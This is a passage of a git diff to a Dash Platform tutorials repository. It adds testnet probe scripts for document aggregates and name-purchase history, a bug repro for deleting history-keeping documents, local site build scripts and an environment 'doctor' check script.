e.message?.includes('owner') + ) { + console.log( + '\n=== RESULT: Bug MITIGATED — trigger rejected the spoofed document ===', + ); + } else { + console.log('\nThis may be a setup error rather than a trigger rejection.'); + } + console.error(e); +} diff --git a/preview-landing.sh b/preview-landing.sh new file mode 100755 index 00000000..1aea5da6 --- /dev/null +++ b/preview-landing.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +# Regenerates landing-preview.html at the repo root by running the same +# discover + build steps the GitHub Pages workflow runs. +# +# Usage: ./preview-landing.sh +set -euo pipefail + +cd "$(dirname "$0")" + +metas=() +for pkg in example-apps/*/package.json; do + [ -f "$pkg" ] || continue + name="$(basename "$(dirname "$pkg")")" + if jq -e '.scripts.build' "$pkg" >/dev/null; then + metas+=("$(jq --arg name "$name" -c \ + '{name: $name, displayName: (.displayName // null), description: (.description // null)}' \ + "$pkg")") + fi +done + +if [ "${#metas[@]}" -eq 0 ]; then + echo "No deployable apps found under example-apps/." >&2 + exit 1 +fi + +meta_json="$(printf '%s\n' "${metas[@]}" | jq -sc .)" +node .github/scripts/build-landing-page.mjs "$meta_json" landing-preview.html diff --git a/probe-aggregates.tmp.mjs b/probe-aggregates.tmp.mjs new file mode 100644 index 00000000..9bd770dd --- /dev/null +++ b/probe-aggregates.tmp.mjs @@ -0,0 +1,122 @@ +import { createClient } from './setupDashClient-core.mjs'; + +const HISTORY_ID = '6voHRaoiPcfmMhbqCA9dixH98xcgPQ9UEcuaXjpVu3LD'; +const DPNS_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const sdk = await createClient('testnet'); + +const show = (label, v) => { + try { + console.log( + ` ${label}: OK ->`, + JSON.stringify([...v.entries()], (_k, x) => + typeof x === 'bigint' ? `${x}n` : x, + ), + ); + } catch { + console.log(` ${label}: OK ->`, v); + } +}; + +// Which aggregate works on which type? purchase lacks documentsCountable. +for (const type of ['purchase', 'transfer', 'priceUpdate']) { + console.log(`\n=== ${type} ===`); + const where = [['dataContractId', '==', DPNS_ID]]; + + for (const [name, fn] of [ + [ + 'count', + () => + sdk.documents.count({ + dataContractId: HISTORY_ID, + documentTypeName: type, + where, + }), + ], + [ + 'average(price)', + () => + sdk.documents.average( + { dataContractId: HISTORY_ID, documentTypeName: type, where }, + 'price', + ), + ], + [ + 'sum(price)', + () => + sdk.documents.sum( + { dataContractId: HISTORY_ID, documentTypeName: type, where }, + 'price', + ), + ], + ]) { + try { + show(name, await fn()); + } catch (e) { + console.log(` ${name}: REJECTED -> ${e.message.slice(0, 150)}`); + } + } +} + +// Can we range-filter purchase by $createdAt (the "30 day" tiles)? +console.log('\n=== purchase 30d range (for SOLD IN 30 DAYS / 30D VOLUME) ==='); +const now = 1785876746087; // last known event ts; static (no Date.now in probes is fine here) +const from = now - 30 * 24 * 3600 * 1000; +for (const [name, fn] of [ + [ + 'sum 30d', + () => + sdk.documents.sum( + { + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + where: [ + ['dataContractId', '==', DPNS_ID], + ['$createdAt', 'between', [from, now]], + ], + orderBy: [['$createdAt', 'asc']], + }, + 'price', + ), + ], + [ + 'average 30d', + () => + sdk.documents.average( + { + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + where: [ + ['dataContractId', '==', DPNS_ID], + ['$createdAt', 'between', [from, now]], + ], + orderBy: [['$createdAt', 'asc']], + }, + 'price', + ), + ], +]) { + try { + show(name, await fn()); + } catch (e) { + console.log(` ${name}: REJECTED -> ${e.message.slice(0, 150)}`); + } +} + +// byPrice index: highest/lowest sale. +console.log('\n=== purchase byPrice (highest sale) ==='); +for (const dir of ['desc', 'asc']) { + try { + const r = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + where: [['dataContractId', '==', DPNS_ID]], + orderBy: [['price', dir]], + limit: 1, + }); + console.log(` orderBy price ${dir}: OK -> ${r.size ?? 0} row(s)`); + } catch (e) { + console.log( + ` orderBy price ${dir}: REJECTED -> ${e.message.slice(0, 130)}`, + ); + } +} diff --git a/probe-aggregates2.tmp.mjs b/probe-aggregates2.tmp.mjs new file mode 100644 index 00000000..016e492e --- /dev/null +++ b/probe-aggregates2.tmp.mjs @@ -0,0 +1,81 @@ +import { createClient } from './setupDashClient-core.mjs'; + +const HISTORY_ID = '6voHRaoiPcfmMhbqCA9dixH98xcgPQ9UEcuaXjpVu3LD'; +const DPNS_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const sdk = await createClient('testnet'); + +const show = (label, v) => { + try { + console.log( + ` ${label}: OK ->`, + JSON.stringify([...v.entries()], (_k, x) => + typeof x === 'bigint' ? `${x}n` : x, + ), + ); + } catch { + console.log(` ${label}: OK ->`, v); + } +}; +const t = async (label, fn) => { + try { + show(label, await fn()); + } catch (e) { + console.log(` ${label}: FAIL -> ${e.message.slice(0, 155)}`); + } +}; + +// priceUpdate HAS 3 real records under DPNS, so a non-empty aggregate should +// succeed here if the query shape is right. This isolates shape-vs-empty. +console.log('=== priceUpdate (3 real DPNS records) — shape variants ==='); +const base = { dataContractId: HISTORY_ID, documentTypeName: 'priceUpdate' }; +const w = [['dataContractId', '==', DPNS_ID]]; + +await t('average, where only, no orderBy', () => + sdk.documents.average({ ...base, where: w }, 'price'), +); +await t('average, where + orderBy $createdAt', () => + sdk.documents.average( + { ...base, where: w, orderBy: [['$createdAt', 'asc']] }, + 'price', + ), +); +await t('sum, where only', () => + sdk.documents.sum({ ...base, where: w }, 'price'), +); +await t('count, where only', () => sdk.documents.count({ ...base, where: w })); + +// transfer is countable (1 real record) — count should work if shape is right. +console.log('\n=== transfer (1 real DPNS record, countable) ==='); +const tb = { dataContractId: HISTORY_ID, documentTypeName: 'transfer' }; +await t('count, where only', () => sdk.documents.count({ ...tb, where: w })); +await t('count, where + orderBy', () => + sdk.documents.count({ ...tb, where: w, orderBy: [['$createdAt', 'asc']] }), +); +await t('count, $createdAt between', () => + sdk.documents.count({ + ...tb, + where: [...w, ['$createdAt', 'between', [0, 1785876746088]]], + orderBy: [['$createdAt', 'asc']], + }), +); + +// Does plain query+client-side math work as the fallback? (it must) +console.log('\n=== fallback: plain query, client-side aggregate ==='); +await t('query priceUpdate rows', async () => { + const r = await sdk.documents.query({ + ...base, + where: w, + orderBy: [['$createdAt', 'asc']], + limit: 100, + }); + const prices = [...r.values()].map((d) => Number(d.toJSON().price)); + const nonZero = prices.filter((p) => p > 0); + return new Map([ + ['rows', r.size], + ['sum', prices.reduce((a, b) => a + b, 0)], + [ + 'avgNonZero', + nonZero.length ? nonZero.reduce((a, b) => a + b, 0) / nonZero.length : 0, + ], + ]); +}); diff --git a/probe-precision.tmp.mjs b/probe-precision.tmp.mjs new file mode 100644 index 00000000..c2102425 --- /dev/null +++ b/probe-precision.tmp.mjs @@ -0,0 +1,51 @@ +/** + * Confirm on evo-sdk 4.1.0 whether `document.properties` is a lossless + * accessor for prices above Number.MAX_SAFE_INTEGER, given that + * Document.toJSON() throws (dashpay/platform#3786). + */ +import { createClient } from './setupDashClient-core.mjs'; + +const CONTRACT_ID = 'CkAX4amndy33YxCyQ3op4QmWofsiW9TukoMh2nvHQk9B'; +const sdk = await createClient('testnet'); + +const r = await sdk.documents.query({ + dataContractId: CONTRACT_ID, + documentTypeName: 'card', + limit: 100, +}); + +const entries = r instanceof Map ? [...r.entries()] : Object.entries(r ?? {}); +console.log(`fetched ${entries.length} card(s)\n`); + +let bad = 0; +for (const [id, doc] of entries) { + let jsonPrice = '(no $price)'; + let threw = null; + try { + const j = doc.toJSON(); + jsonPrice = + j.$price === undefined + ? '(no $price)' + : `${j.$price} [${typeof j.$price}]`; + } catch (e) { + threw = `${e?.constructor?.name}: ${String(e?.message).slice(0, 60)}`; + } + + let propPrice = '(none)'; + try { + const p = doc.properties; + const v = p?.$price; + propPrice = v === undefined ? '(none)' : `${v} [${typeof v}]`; + } catch (e) { + propPrice = ``; + } + + if (threw || (propPrice !== '(none)' && propPrice !== '(no $price)')) { + bad++; + console.log(`doc ${id}`); + console.log(` toJSON() : ${threw ? 'THREW -> ' + threw : jsonPrice}`); + console.log(` .properties: ${propPrice}`); + } +} +console.log(`\n${bad} doc(s) with a price or a toJSON failure`); +console.log(`MAX_SAFE_INTEGER = ${Number.MAX_SAFE_INTEGER}`); diff --git a/probe-purchases.tmp.mjs b/probe-purchases.tmp.mjs new file mode 100644 index 00000000..7283ea65 --- /dev/null +++ b/probe-purchases.tmp.mjs @@ -0,0 +1,76 @@ +import { createClient } from './setupDashClient-core.mjs'; + +const HISTORY_ID = '6voHRaoiPcfmMhbqCA9dixH98xcgPQ9UEcuaXjpVu3LD'; +const DPNS_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const sdk = await createClient('testnet'); + +// (1) The query I ran before, but paginated to exhaustion + both directions. +for (const dir of ['asc', 'desc']) { + try { + const r = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + where: [['dataContractId', '==', DPNS_ID]], + orderBy: [['$createdAt', dir]], + limit: 100, + }); + console.log(`purchase byContract DPNS (${dir}): ${r.size ?? 0}`); + for (const [id, d] of r) { + const j = d.toJSON(); + console.log( + ` ${id} doc=${j.documentId} price=${j.price} seller=${j.sellerId} buyer=${j.$ownerId} at=${j.$createdAt}`, + ); + } + } catch (e) { + console.log( + `purchase byContract (${dir}) FAILED: ${e.message.slice(0, 160)}`, + ); + } +} + +// (2) ALL purchases, no dataContractId filter — maybe DPNS purchases are +// recorded under a different dataContractId than I assumed. +try { + const r = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + orderBy: [['$id', 'asc']], + limit: 100, + }); + console.log(`\nALL purchase records (any contract): ${r.size ?? 0}`); + const byContract = new Map(); + for (const [, d] of r) { + const j = d.toJSON(); + byContract.set( + j.dataContractId, + (byContract.get(j.dataContractId) ?? 0) + 1, + ); + } + for (const [c, n] of byContract) { + console.log( + ` dataContractId=${c} -> ${n} ${c === DPNS_ID ? '<-- DPNS' : ''}`, + ); + } + for (const [id, d] of r) { + const j = d.toJSON(); + if (j.dataContractId === DPNS_ID) { + console.log( + ` DPNS PURCHASE: ${id} doc=${j.documentId} price=${j.price} seller=${j.sellerId} buyer=${j.$ownerId} at=${j.$createdAt}`, + ); + } + } +} catch (e) { + console.log(`\nALL purchase query FAILED: ${e.message.slice(0, 200)}`); +} + +// (3) Provable count + average via the averageable index. +try { + const c = await sdk.documents.count({ + dataContractId: HISTORY_ID, + documentTypeName: 'purchase', + where: [['dataContractId', '==', DPNS_ID]], + }); + console.log(`\ncount(purchase, DPNS):`, [...(c?.entries?.() ?? [])]); +} catch (e) { + console.log(`\ncount FAILED: ${e.message.slice(0, 200)}`); +} diff --git a/probe-purchases2.tmp.mjs b/probe-purchases2.tmp.mjs new file mode 100644 index 00000000..97a3911a --- /dev/null +++ b/probe-purchases2.tmp.mjs @@ -0,0 +1,77 @@ +import { createClient } from './setupDashClient-core.mjs'; + +const HISTORY_ID = '6voHRaoiPcfmMhbqCA9dixH98xcgPQ9UEcuaXjpVu3LD'; +const DPNS_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const sdk = await createClient('testnet'); + +// Ground truth from DPNS itself: a purchased name has $ownerId != $creatorId. +// Scan a wide slice of domains and look for owner/creator divergence, which +// indicates the doc changed hands (by transfer OR purchase). +let scanned = 0; +let moved = []; +let startAfter; +for (let page = 0; page < 12; page++) { + const r = await sdk.documents.query({ + dataContractId: DPNS_ID, + documentTypeName: 'domain', + where: [['normalizedParentDomainName', '==', 'dash']], + orderBy: [['normalizedLabel', 'asc']], + limit: 100, + ...(startAfter ? { startAfter } : {}), + }); + const entries = [...r]; + if (entries.length === 0) break; + for (const [id, d] of entries) { + scanned++; + const j = d.toJSON(); + if (j.$creatorId && j.$ownerId && j.$creatorId !== j.$ownerId) { + moved.push({ + id, + label: j.label, + creator: j.$creatorId, + owner: j.$ownerId, + rev: j.$revision, + transferredAt: j.$transferredAt, + price: j.$price, + }); + } + } + startAfter = entries[entries.length - 1][0]; + if (entries.length < 100) break; +} +console.log(`Scanned ${scanned} .dash domains`); +console.log(`Changed hands (creator != owner): ${moved.length}\n`); +for (const m of moved) { + console.log( + ` ${m.label}.dash rev=${m.rev} transferredAt=${m.transferredAt}`, + ); + console.log(` creator=${m.creator}`); + console.log(` owner =${m.owner} $price=${m.price ?? 'ABSENT'}`); + // For each, ask the history contract what it knows about this doc. + for (const type of ['purchase', 'transfer', 'priceUpdate']) { + try { + const h = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: type, + where: [ + ['dataContractId', '==', DPNS_ID], + ['documentId', '==', m.id], + ], + orderBy: [['$createdAt', 'asc']], + limit: 20, + }); + if ((h.size ?? 0) > 0) { + console.log(` ${type}: ${h.size}`); + for (const [, hd] of h) { + const hj = hd.toJSON(); + console.log( + ` price=${hj.price ?? '-'} seller=${hj.sellerId ?? '-'} to=${hj.toIdentityId ?? '-'} owner=${hj.$ownerId} at=${hj.$createdAt}`, + ); + } + } + } catch (e) { + console.log(` ${type} query failed: ${e.message.slice(0, 90)}`); + } + } + console.log(); +} diff --git a/probe-purchases3.tmp.mjs b/probe-purchases3.tmp.mjs new file mode 100644 index 00000000..dc7159f3 --- /dev/null +++ b/probe-purchases3.tmp.mjs @@ -0,0 +1,89 @@ +import { createClient } from './setupDashClient-core.mjs'; + +const HISTORY_ID = '6voHRaoiPcfmMhbqCA9dixH98xcgPQ9UEcuaXjpVu3LD'; +const DPNS_ID = 'GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec'; +const sdk = await createClient('testnet'); + +// The transfer record found earlier proves ownership changes ARE recorded. +const KNOWN_TRANSFER_DOC = 'J8Gr44JEpczwBeKYGmmFaGnXAzXdGdu1N4F7rK8C3m16'; +const KNOWN_PRICED_DOC = '2ccY4dgkYvsoqiquGn5715fXRBHopkXwYiXp2NNxisMc'; + +console.log('=== Per-document history for known docs ==='); +for (const doc of [KNOWN_TRANSFER_DOC, KNOWN_PRICED_DOC]) { + console.log(`\ndoc ${doc}`); + try { + const d = await sdk.documents.get(DPNS_ID, 'domain', doc); + const j = d.toJSON(); + console.log( + ` ${j.label}.dash creator=${j.$creatorId} owner=${j.$ownerId} rev=${j.$revision}`, + ); + console.log(` creator==owner? ${j.$creatorId === j.$ownerId}`); + } catch (e) { + console.log(` get failed: ${e.message.slice(0, 100)}`); + } + for (const type of ['purchase', 'transfer', 'priceUpdate']) { + try { + const h = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: type, + where: [ + ['dataContractId', '==', DPNS_ID], + ['documentId', '==', doc], + ], + orderBy: [['$createdAt', 'asc']], + limit: 20, + }); + console.log(` ${type}: ${h.size ?? 0}`); + for (const [, hd] of h) { + const hj = hd.toJSON(); + console.log( + ` price=${hj.price ?? '-'} seller=${hj.sellerId ?? '-'} to=${hj.toIdentityId ?? '-'} owner=${hj.$ownerId}`, + ); + } + } catch (e) { + console.log(` ${type} failed: ${e.message.slice(0, 90)}`); + } + } +} + +// Enumerate ALL history records of each type, unfiltered, to see the true +// contents of the history contract regardless of dataContractId. +console.log( + '\n=== Full history contract contents (all types, any contract) ===', +); +for (const type of ['purchase', 'transfer', 'priceUpdate']) { + let total = 0; + const contracts = new Map(); + let startAfter; + for (let page = 0; page < 20; page++) { + let r; + try { + r = await sdk.documents.query({ + dataContractId: HISTORY_ID, + documentTypeName: type, + orderBy: [['$id', 'asc']], + limit: 100, + ...(startAfter ? { startAfter } : {}), + }); + } catch (e) { + console.log(`${type}: query failed -> ${e.message.slice(0, 120)}`); + break; + } + const entries = [...r]; + if (entries.length === 0) break; + total += entries.length; + for (const [, d] of entries) { + const j = d.toJSON(); + contracts.set( + j.dataContractId, + (contracts.get(j.dataContractId) ?? 0) + 1, + ); + } + startAfter = entries[entries.length - 1][0]; + if (entries.length < 100) break; + } + console.log(`${type}: total=${total}`); + for (const [c, n] of contracts) { + console.log(` ${c} -> ${n} ${c === DPNS_ID ? '<-- DPNS' : ''}`); + } +} diff --git a/repro-keephistory-delete.mjs b/repro-keephistory-delete.mjs new file mode 100644 index 00000000..d24f63d1 --- /dev/null +++ b/repro-keephistory-delete.mjs @@ -0,0 +1,91 @@ +// Reproduce: deleting a document whose type has documentsKeepHistory=true. +// Contract 5CBPi... 'note' type has keepHistory=true AND canBeDeleted=true. +// +// Step 1: submit a fresh note document (should succeed). +// Step 2: attempt to delete it. We wrap the delete in a timeout so a true +// "hang" (never resolves/rejects) is distinguishable from a clean error. +import { Document } from '@dashevo/evo-sdk'; +import { setupDashClient } from './setupDashClient.mjs'; + +const DATA_CONTRACT_ID = '5CBPiadGmx3Zsjc26g5onopcx7pdxHPbrRAUD2T2yAbC'; +const DELETE_TIMEOUT_MS = 90_000; + +const t = () => new Date().toISOString().slice(11, 23); +const withTimeout = (p, ms, label) => + Promise.race([ + p + .then((v) => ({ kind: 'resolved', v })) + .catch((e) => ({ kind: 'rejected', e })), + new Promise((res) => + setTimeout(() => res({ kind: 'timeout', ms }), ms).unref?.(), + ), + ]); + +const { sdk, keyManager } = await setupDashClient(); +if (!keyManager) { + console.error( + 'No keyManager — PLATFORM_MNEMONIC is not set/loaded.\n' + + 'Set it in platform-tutorials/.env (or export it) before running.', + ); + process.exit(1); +} +const { identity, identityKey, signer } = await keyManager.getAuth(); +console.log(`[${t()}] identity:`, identity.id.toJSON()); + +// ---- Step 1: submit ---- +const document = new Document({ + properties: { + message: `keepHistory delete repro @ ${new Date().toUTCString()}`, + }, + documentTypeName: 'note', + dataContractId: DATA_CONTRACT_ID, + ownerId: identity.id, +}); + +console.log(`[${t()}] submitting note document...`); +const submitStart = Date.now(); +try { + await sdk.documents.create({ document, identityKey, signer }); +} catch (e) { + console.error(`[${t()}] submit FAILED:`, e.message); + process.exit(1); +} +const docId = document.toJSON().$id || document.toJSON().id; +console.log( + `[${t()}] submit OK in ${Date.now() - submitStart}ms. docId: ${docId}`, +); + +// ---- Step 2: delete (the operation under test) ---- +console.log(`[${t()}] attempting delete (timeout ${DELETE_TIMEOUT_MS}ms)...`); +const delStart = Date.now(); +const outcome = await withTimeout( + sdk.documents.delete({ + document: { + id: docId, + ownerId: identity.id, + dataContractId: DATA_CONTRACT_ID, + documentTypeName: 'note', + }, + identityKey, + signer, + }), + DELETE_TIMEOUT_MS, +); +const elapsed = Date.now() - delStart; + +console.log(`\n========== DELETE OUTCOME (after ${elapsed}ms) ==========`); +if (outcome.kind === 'resolved') { + console.log('RESOLVED — delete succeeded (unexpected!).'); +} else if (outcome.kind === 'rejected') { + console.log('REJECTED — clean error returned:'); + console.log(' message:', outcome.e?.message); + console.log(outcome?.e); +} else { + console.log( + `TIMEOUT — delete neither resolved nor rejected within ${outcome.ms}ms.`, + ); + console.log(' => matches the "hangs on network" symptom.'); +} +console.log('=========================================================='); +console.log(`docId for reference: ${docId}`); +process.exit(0); diff --git a/scripts/build-tutorials-site.sh b/scripts/build-tutorials-site.sh new file mode 100755 index 00000000..adaed4bc --- /dev/null +++ b/scripts/build-tutorials-site.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +# Builds every example-apps/ with a "build" script, copies each dist/ +# into //, and writes /index.html from build-landing-page.mjs. +# Mirrors .github/workflows/deploy-example-apps.yml but for local + IPFS use: +# uses VITE_BASE_PATH=./ so generated asset URLs are relative and resolve +# correctly under any CID prefix (e.g. gateway.mesh3.network/ipfs//). +# +# Usage: ./scripts/build-tutorials-site.sh [out-dir] +# Default out-dir: ../dash-platform-website/sites/site-test-tutorials/test +set -euo pipefail + +cd "$(dirname "$0")/.." +REPO_ROOT="$(pwd)" +OUT_DIR="${1:-$REPO_ROOT/../dash-platform-website/sites/site-test-tutorials/test}" +mkdir -p "$OUT_DIR" +OUT_DIR="$(cd "$OUT_DIR" && pwd)" + +metas=() +apps=() +for pkg in example-apps/*/package.json; do + [ -f "$pkg" ] || continue + name="$(basename "$(dirname "$pkg")")" + jq -e '.scripts.build' "$pkg" >/dev/null || continue + apps+=("$name") + metas+=("$(jq --arg name "$name" -c \ + '{name: $name, displayName: (.displayName // null), description: (.description // null)}' \ + "$pkg")") +done + +if [ "${#apps[@]}" -eq 0 ]; then + echo "No deployable apps found under example-apps/." >&2 + exit 1 +fi + +# Note: this script does NOT wipe $OUT_DIR. Files are overwritten in place. +# If you renamed/removed an app, delete the stale subdir under $OUT_DIR yourself +# before running, or DWT will keep treating it as a page. + +for app in "${apps[@]}"; do + echo "Building $app" + (cd "example-apps/$app" && VITE_BASE_PATH=./ npm run build) + mkdir -p "$OUT_DIR/$app" + cp -r "example-apps/$app/dist/." "$OUT_DIR/$app/" +done + +meta_json="$(printf '%s\n' "${metas[@]}" | jq -sc .)" +node .github/scripts/build-landing-page.mjs "$meta_json" "$OUT_DIR/index.html" + +echo +echo "Built ${#apps[@]} app(s) into $OUT_DIR" diff --git a/scripts/doctor.mjs b/scripts/doctor.mjs new file mode 100644 index 00000000..e1dd4d1c --- /dev/null +++ b/scripts/doctor.mjs @@ -0,0 +1,385 @@ +#!/usr/bin/env node +import fs from 'node:fs/promises'; + +process.env.DOTENV_CONFIG_QUIET ??= 'true'; + +const PINNED_NODE_RANGE = '>=22.22.0 <22.23.0'; +const SUPPORTED_NETWORKS = new Set(['testnet', 'mainnet', 'local']); +const OPTIONAL_READINESS = [ + { + label: 'Contract/document standalone IDs', + vars: ['DATA_CONTRACT_ID', 'DOCUMENT_ID'], + missingStatus: 'PASS', + missingDetail: + 'Read/retrieve and submit tutorials have defaults. Set DATA_CONTRACT_ID and DOCUMENT_ID only for standalone update/delete runs.', + setDetail: + 'Custom contract/document IDs are configured for standalone document tutorials.', + }, + { + label: 'Token lifecycle tutorials', + vars: ['TOKEN_CONTRACT_ID'], + missingStatus: 'WARN', + missingDetail: + 'Run 3-Tokens/token-register.mjs first, then set TOKEN_CONTRACT_ID before standalone token info/mint/transfer/burn tutorials.', + setDetail: 'TOKEN_CONTRACT_ID is configured.', + }, + { + label: 'NFT document tutorials', + vars: ['NFT_CONTRACT_ID'], + missingStatus: 'WARN', + missingDetail: + 'Set NFT_CONTRACT_ID after running contract-register-nft.mjs before standalone NFT document tutorials.', + setDetail: 'NFT_CONTRACT_ID is configured.', + }, + { + label: 'Custom recipient tutorials', + vars: ['RECIPIENT_ID', 'RECIPIENT_PLATFORM_ADDRESS', 'WITHDRAWAL_ADDRESS'], + missingStatus: 'PASS', + missingDetail: + 'Transfer/withdrawal scripts have testnet defaults. Set these only when you want custom recipients.', + setDetail: 'Custom transfer/withdrawal recipients are configured.', + }, +]; + +const checks = []; + +function section(title) { + console.log(`\n${title}`); +} + +function add(status, label, detail = '') { + checks.push({ status, label, detail }); + const padded = status.padEnd(4); + console.log(`${padded} ${label}${detail ? ` - ${detail}` : ''}`); +} + +function pass(label, detail) { + add('PASS', label, detail); +} + +function warn(label, detail) { + add('WARN', label, detail); +} + +function fail(label, detail) { + add('FAIL', label, detail); +} + +function parseNodeVersion(version) { + const [major, minor, patch] = version.split('.').map(Number); + return { major, minor, patch }; +} + +function checkNodeVersion() { + const version = process.versions.node; + const { major, minor } = parseNodeVersion(version); + + if (major < 22) { + fail( + 'Node version', + `${version} is below Node 22. Install Node 22.22.x for the documented setup.`, + ); + return; + } + + if (major === 22 && minor === 22) { + pass('Node version', `${version} satisfies ${PINNED_NODE_RANGE}.`); + return; + } + + warn( + 'Node version', + `${version} may work, but CI and docs are pinned to ${PINNED_NODE_RANGE}. Use npm ci for the reproducible setup; use npm install only when intentionally resolving dependencies locally.`, + ); +} + +async function pathExists(path) { + try { + await fs.access(path); + return true; + } catch { + return false; + } +} + +async function importPackage(name) { + try { + return { module: await import(name), ok: true }; + } catch (error) { + fail(`Import ${name}`, error.message); + return { module: null, ok: false }; + } +} + +function cleanEnvValue(value) { + return typeof value === 'string' ? value.trim() : ''; +} + +function isPlaceholderMnemonic(value) { + const cleaned = cleanEnvValue(value).toLowerCase(); + return ( + cleaned === '' || + cleaned.includes('your mnemonic phrase goes here') || + cleaned.includes('your twelve word mnemonic phrase goes here') + ); +} + +function formatCredits(credits) { + if (credits === null || credits === undefined) return 'unknown'; + const raw = typeof credits === 'bigint' ? credits : BigInt(credits); + const dash = Number(raw) / 1e11; + return `${raw.toString()} credits (${dash.toFixed(8)} DASH)`; +} + +function reportTutorialReadiness({ + sdkReady, + mnemonicConfigured, + mnemonicReady, + identityReady, +}) { + if (sdkReady) { + pass( + 'Read-only tutorial scripts', + 'Ready to run connection, lookup, and retrieve tutorials.', + ); + } else { + warn( + 'Read-only tutorial scripts', + 'Skipped readiness because SDK connection did not complete.', + ); + } + + if (mnemonicReady) { + pass( + 'Wallet/address tutorial scripts', + 'Ready to derive the platform address and sign address operations.', + ); + } else if (mnemonicConfigured && !sdkReady) { + warn( + 'Wallet/address tutorial scripts', + 'Skipped readiness because SDK connection did not complete.', + ); + } else { + warn( + 'Wallet/address tutorial scripts', + 'Set PLATFORM_MNEMONIC before wallet, funding, or signing tutorials.', + ); + } + + if (identityReady) { + pass( + 'Identity write tutorial scripts', + 'Ready for identity, name, contract, document, and token write tutorials.', + ); + } else if (mnemonicConfigured && !sdkReady) { + warn( + 'Identity write tutorial scripts', + 'Skipped readiness because SDK connection did not complete.', + ); + } else { + warn( + 'Identity write tutorial scripts', + 'Register or import a funded identity before write tutorials.', + ); + } +} + +async function main() { + console.log('Dash Platform tutorial doctor'); + + section('Local environment'); + checkNodeVersion(); + + if (await pathExists('package-lock.json')) { + pass('Lockfile', 'package-lock.json found.'); + } else { + fail( + 'Lockfile', + 'package-lock.json is missing. Run npm install intentionally or restore the lockfile.', + ); + } + + const dotenvImport = await importPackage('dotenv'); + if (dotenvImport.ok) pass('Import dotenv'); + + const evoSdkImport = await importPackage('@dashevo/evo-sdk'); + if (evoSdkImport.ok) pass('Import @dashevo/evo-sdk'); + + section('Configuration'); + const hasEnvFile = await pathExists('.env'); + if (hasEnvFile) { + pass('Environment file', '.env found.'); + dotenvImport.module?.config(); + } else { + fail('Environment file', '.env is missing. Run cp .env.example .env.'); + } + + const network = cleanEnvValue(process.env.NETWORK) || 'testnet'; + if (SUPPORTED_NETWORKS.has(network)) { + pass('Network', `Using ${network}.`); + } else { + fail( + 'Network', + `Unsupported NETWORK="${network}". Use testnet, mainnet, or local.`, + ); + } + + let helpers; + if (evoSdkImport.ok && SUPPORTED_NETWORKS.has(network)) { + try { + helpers = await import('../setupDashClient.mjs'); + pass('Tutorial helpers', 'setupDashClient helpers loaded.'); + } catch (error) { + fail('Tutorial helpers', error.message); + } + } + + section('Platform connection'); + let sdk; + let sdkReady = false; + if (helpers && SUPPORTED_NETWORKS.has(network)) { + try { + sdk = await helpers.createClient(network); + const status = await sdk.system.status(); + sdkReady = true; + pass( + 'SDK connection', + `Connected to ${network}; status returned ${status ? 'OK' : 'empty response'}.`, + ); + } catch (error) { + fail( + 'SDK connection', + `Could not connect to ${network}: ${error.message}`, + ); + } + } else { + warn( + 'SDK connection', + 'Skipped because earlier configuration checks did not complete.', + ); + } + + section('Wallet and identity'); + const mnemonic = cleanEnvValue(process.env.PLATFORM_MNEMONIC); + const mnemonicConfigured = !!mnemonic && !isPlaceholderMnemonic(mnemonic); + let mnemonicReady = false; + let identityReady = false; + if (!mnemonic || isPlaceholderMnemonic(mnemonic)) { + warn( + 'PLATFORM_MNEMONIC', + 'Missing or placeholder value. Read-only tutorials can run; wallet and identity tutorials need a generated mnemonic.', + ); + } else if (helpers && sdk) { + try { + const valid = await evoSdkImport.module.wallet.validateMnemonic(mnemonic); + if (!valid) { + fail('PLATFORM_MNEMONIC', 'Value is not a valid BIP39 mnemonic.'); + } else { + pass( + 'PLATFORM_MNEMONIC', + 'Mnemonic is valid. It is not printed by this command.', + ); + mnemonicReady = true; + + const addressKeyManager = await helpers.AddressKeyManager.create({ + sdk, + mnemonic, + network, + }); + const { bech32m, path } = addressKeyManager.primaryAddress; + pass('Platform address', `${bech32m} (${path})`); + if (network === 'testnet') { + pass( + 'Testnet funding URL', + `https://bridge.thepasta.org/?address=${bech32m}`, + ); + } + + try { + const keyManager = await helpers.IdentityKeyManager.create({ + sdk, + mnemonic, + network, + }); + pass('Identity resolution', keyManager.identityId); + identityReady = true; + + try { + const identity = await sdk.identities.fetch(keyManager.identityId); + pass('Identity balance', formatCredits(identity.balance)); + } catch (error) { + fail('Identity fetch', error.message); + } + } catch (error) { + if ( + error.message?.includes('No identity found for the given mnemonic') + ) { + warn( + 'Identity resolution', + 'No identity found for this mnemonic. Fund the platform address, then run node 1-Identities-and-Names/identity-register.mjs.', + ); + } else { + fail('Identity resolution', error.message); + } + } + } + } catch (error) { + fail('PLATFORM_MNEMONIC', error.message); + } + } else if (mnemonic) { + warn( + 'PLATFORM_MNEMONIC', + 'Skipped wallet checks because earlier required checks failed.', + ); + } + + section('Tutorial readiness'); + reportTutorialReadiness({ + sdkReady, + mnemonicConfigured, + mnemonicReady, + identityReady, + }); + + for (const group of OPTIONAL_READINESS) { + const missing = group.vars.filter( + (name) => !cleanEnvValue(process.env[name]), + ); + if (missing.length === 0) { + pass(group.label, group.setDetail); + } else if (group.missingStatus === 'WARN') { + warn(group.label, group.missingDetail); + } else { + pass(group.label, group.missingDetail); + } + } + + const counts = checks.reduce( + (acc, check) => { + acc[check.status] += 1; + return acc; + }, + { PASS: 0, WARN: 0, FAIL: 0 }, + ); + + console.log( + `\nSummary: ${counts.PASS} passed, ${counts.WARN} warnings, ${counts.FAIL} failures.`, + ); + + if (counts.FAIL > 0) { + console.log( + 'Next action: fix the 